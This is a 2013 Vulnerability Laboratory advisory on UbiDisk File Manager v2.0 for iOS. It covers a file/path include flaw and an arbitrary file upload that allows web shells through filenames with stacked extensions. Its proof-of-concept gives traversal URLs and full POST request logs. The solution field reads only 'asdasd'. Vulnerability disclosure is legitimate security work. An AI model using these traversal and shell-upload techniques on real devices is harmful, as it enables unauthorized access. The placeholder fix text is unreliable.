1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 |
Document Title: =============== UbiDisk File Manager v2.0 iOS - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1109 Release Date: ============= 2013-10-15 Vulnerability Laboratory ID (VL-ID): ==================================== 1109 Common Vulnerability Scoring System: ==================================== 8.8 Product & Service Introduction: =============================== In version 2.0 we proudly introduce a very handy file transfer method named EasyPush. EasyPush is the easiest way so far to exchange files and texts among iPhone, iPad and PC. You can send one or more files to other devices by just a few taps; or drag-drop any files and folders on PC to iPhone and iPad. It’s never been so easy like this to transfer files on your devices. (Copy of the Homepage: https://itunes.apple.com/de/app/ubidisk-file-manager-+-downloader/id453027265 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the UbiDisk File Manager v2.0 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2013-10-12:Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Apple AppStore Product: UbiDisk Mobile Web Application 2.0 Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ 1.1 A local file/path include web vulnerability is detected in the UbiDisk File Manager v2.0 mobile web-application (Apple iOS - iPad & iPhone). The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service. The remote file include web vulnerability is located in the upload module in the file name value. Attacker can inject own file or path requests by adding regular files. The injected code will be visible in the main index file dir listing and the connected upload path. In the exploitation phase the vulnerability allows an attacker to combine with script code inject with the file/path request. Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password. Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application. Vulnerable Application(s): [+] UbiDisk File Manager v2.0 - ITunes or AppStore (Apple) Request Method(s): [+] [POST] Vulnerable Module(s): [+] Upload [POST] Vulnerable Parameter(s): [+] filename (name) Affected Module(s): [+] Index File Dir Listing (http://localhost:5080/) 1.2 An arbitrary file upload web vulnerability is detected in the UbiDisk File Manager v2.0 mobile web-application (Apple iOS - iPad & iPhone). The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access. The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and extension image.jpg.js.php.jpg . After the upload the attacker needs to open the file in the web application to delete the .jpg file extension and access the picture with elevated execution access rights. Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password. Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells. Vulnerable Application(s): [+] UbiDisk File Manager v2.0 - ITunes or AppStore (Apple) Request Method(s): [+] [POST] Vulnerable Module(s): [+] File Upload Vulnerable Parameter(s): [+] filename (multiple extensions) Affected Module(s): [+] File Path Listing (http://localhost:5080/Local/../[FILE PATH]/FILE_NAME) Proof of Concept (PoC): ======================= 1.1 The local file include web vulnerability can be exploited by by remote attackers without privileged application user account and also without user interaction. For demonstration or reproduce ... PoC: http://localhost:5080/Local/../../<[var]/mobile> PoC: File Name - Index Dir Listing <table><caption>Files at /Local/</caption><thead><tr><th scope="col"></th><th scope="col">Name</th><th scope="col">Size</th> <th scope="col">Modified</th></tr></thead><tbody><tr><td class="fileicon"><img src="https://www.exploit-db.com/WebGears/icon_folder.png"></td> <td><a href="https://www.exploit-db.com/exploits/28977/..">..</a></td><td>--</td><td>--</td></tr><tr class="odd"><td class="fileicon"><img src="https://www.exploit-db.com/WebGears/icon_other.png" height="43" width="43"></td><td><a href="https://www.exploit-db.com/exploits/28977/[LOCAL FILE INCLUDE VULNERABILITY!]"></a></td> --- PoC Session Logs (POST) --- Status: 200[OK] POST http://192.168.2.104:5080/Local/ Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Content Size[1732] Mime Type[text/html] Request Headers: Host[192.168.2.104:5080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://192.168.2.104:5080/Local/] Connection[keep-alive] Post Data: POST_DATA[-----------------------------130981526715722 Content-Disposition: form-data; name="file"; filename="<<../../[LOCAL FILE INCLUDE VULNERABILITY!]">" Content-Type: application/octet-stream -----------------------------130981526715722 Content-Disposition: form-data; name="button" Submit -----------------------------130981526715722--] Response Headers: Accept-Ranges[bytes] Content-Length[1732] Content-Type[text/html; charset=utf-8] Date[Sa., 12 Okt. 2013 19:21:11 GMT] 1.2 The arbitrary file upload web vulnerability can be exploited by remote attackers without privileged application user account and also without user interaction. For demonstration or reproduce ... PoC: http://localhost:5080/Local/arbitrary-file-upload.png.txt.iso.js.html.php.jpg --- PoC Session Logs (POST to GET) --- Status: 200[OK] POST http://192.168.2.104:5080/Local/ Load Flags[LOAD_DOCUMENT_URILOAD_INITIAL_DOCUMENT_URI] Content Size[1478] Mime Type[text/html] Request Headers: Host[192.168.2.104:5080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://192.168.2.104:5080/Local/] Connection[keep-alive] Post Data: POST_DATA[-----------------------------5756737516163 Content-Disposition: form-data; name="file"; filename="arbitrary-file-upload.png.txt.iso.js.html.php.jpg" Content-Type: image/jpeg ?PNG Status: 200[OK] GET http://192.168.2.104:5080/Thumbnails/Local/arbitrary-file-upload.png.txt.iso.js.html.php.jpg Load Flags[LOAD_NORMAL] Content Size[11070] Mime Type[application/x-unknown-content-type] Request Headers: Host[192.168.2.104:5080] User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://192.168.2.104:5080/Local/] Connection[keep-alive] Response Headers: Accept-Ranges[bytes] Content-Length[11070] Date[Sa., 12 Okt. 2013 19:09:28 GMT] Solution - Fix & Patch: ======================= asdasd Security Risk: ============== 1.1 The security risk of the file/path include web vulnerability is estimated as critical. 1.2 The security risk of the arbitrary file upload vulnerability is estimated as high(-). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains:www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact:admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section:www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2013 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com |